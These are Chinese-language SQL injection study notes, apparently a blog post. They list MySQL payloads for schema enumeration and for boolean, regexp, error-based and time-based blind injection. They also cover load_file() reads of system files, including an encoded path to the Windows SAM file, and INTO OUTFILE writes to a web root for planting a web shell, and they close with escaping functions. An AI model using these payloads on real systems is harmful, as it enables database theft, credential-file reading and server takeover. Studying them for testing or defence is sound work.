SQL注入学习

字符串连接函数

1. concat(str1,str2,...)

连接参数产生的字符串。

select concat(id,',',name) as con from info limit 1;

2. group_concat(str1,str2,...)

连接一个组所有的字符串,以逗号分割。


3. concat_ws(separator,str1,str2,...)

含有分割符的连接字符串
select concat_ws('_',id,name) as con_ws from info limit 1;

Mysql中有一个系统数据库information_schema。可以利用该表进行完整的注入。一般流程:

(1). 猜数据库

select schema_name from information_schema.schemata

(2). 猜某库的数据表

select table_name from information_schema.tables where table_schema="xxxx"

(3). 猜某表的列

select column_name from information_schema.columns where table_name="xxxx"

盲注

盲注就是sql语句执行的选择后选择的数据不能回显到前端页面。我们需要利用一些方法进行判断。分为三类:

(1). 基于布尔的SQL盲注

(2). 基于时间的SQL盲注

(3). 基于报错的SQL盲注

截取字符串的相关函数

(1). mid()

截取字符串的一部分

mid(database(),1,1)>'a',查看数据库名第一位,mid(database(),2,1)查看第二位

mid((select table_name from information_schema.tables where table_schema="xxx" limit 0,1),1,1)>'a'

(2). substr()

截取字符串

substr(database(),1,1)>'a'查看数据库第一位

substr((select table_name from information_schema.tables where table_schema="xxx" limit 0,1),1,1)>'a'

(3). left()

得到字符串左部指定个数的字符串

left(string,n) string为截取的字符串,n为长度

left(database(),1)>'a'查看数据库第一位。left(database(),2)查看数据库前两位

regexp正则注入

1. 判断第一个表名的第一个字符是否为a-z中的字符

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="xxx" and table_name regexp '^[a-z]' limit 0,1)

2. 缩小范围

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="xxx" and table_name regexp '^[a-n]' limit 0,1)

3. 确定字符

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="xxx" and table_name regexp '^n' limit 0,1)

4. 表达式的更换

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE(这时说明表名为news,验证是否是该表名,正则表达式是'^news$',但是没必要,可以直接判断 table_name='news')

5. 猜测其他表

这里注意不能直接修改 limit 1,1 -> limit 2,1

因为regexp会对所有项匹配

例:

security有多个表:users,email等

select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'u[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'us[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'em[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'us[a-z]' limit 1,1);不正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'em[a-z]' limit 1,1);不正确

like匹配注入

和正则类似,mysql 在匹配时可以用like进行匹配

select user() like 'ro%'

基于报错的sql盲注

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)))a from information_schema.columns group by a;

(此处三个点:一是需要concat计数,二是floor,取得0 or 1,进行数据的重复,三是group by 进行分组)

可简化为如下形式

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键表被禁用,可以使用如下:

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand禁用,可以使用:

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

exp进行SQL报错注入

当传递进去的值大于709时,exp()(以e为底的对数函数)引起一个溢出错误

select exp(~(select * from(select user()a)))   double型超出范围

bigint溢出

select !(select * from (select user())x) - ~0

~0是对0逐位取反

extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e))

延时注入

if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

条件为假,执行sleep

导入导出相关操作

文件权限

下面的语句可以查询用户读写文件操作权限

SELECT file_priv FROM mysql.user WHERE user = 'username';	需要root用户来执行
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';	普通用户都可以

load_file()导出文件

读取文件并返回该文件的内容作为一个字符串

使用条件:

1. 必需有权限读取并且文件必需完全可读

and (select count(*) from mysql.user)>0   如果结果返回正常,说明有读写权限

2. 欲读取文件必需在服务器上

3. 必需指定文件的完整路径

4. 读取的文件必需小于max_allowed_packet

5. load_file() 函数操作文件的当前目录是@@datadir

在实际的注入中,需要解决两个难题:

绝对的物理路径

构造有效的畸形语句(报错爆出绝对路径)

mark一下常用的路径:点击打开链接

select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
-1 union select 1,1,1,load_file(c:\\boot.ini)

文件导入到数据库

load data infile用于高速地从一个文本文件中读取行,并装入一个表中。文件名必须为一个文字字符串

load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将/tmp/t0.txt导入到t0表中,character set gbk设置字符集设置为gbk。fields terminated by是每一项数据之间的分隔符,lines terminated by时行的结尾符。
当错误代码为2时,文件不存在。当错误代码为13时候没有权限。

导入到文件

select.....into outfile 'file_name'

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须有file权限才可以使用。file_name不是一个已经存在的文件

有两种方式:

1. 直接select内容导入到文件中

select version() into outfile "c:\\phpnow\\htdocs\\test.php"

此处将version()替换成一句话,

select  into outfile "c:\\phpnow\\htdocs\\test.php"

2. 修改文件结尾

select version() into outfile "c:\\phpnow\\htdocs\\test.php" lines terminated by 0x16

通常用"\r\n"结尾,此处修改自己想要的任何文件。同时可以用fields terminated by

这里介绍几个函数:

addslashes()

返回预定义字符之前添加反斜杠的字符串

预定义字符:

单引号(')

双引号(")

反斜杠(\)

NULL

stripslashes()

删除由 addslashes函数添加的反斜杠

mysql_real_escape_string()

转义sql语句中使用的字符串中的特殊字符:

\x00

\n

\r

\

'

"

\x1a

你可能感兴趣的:(Web)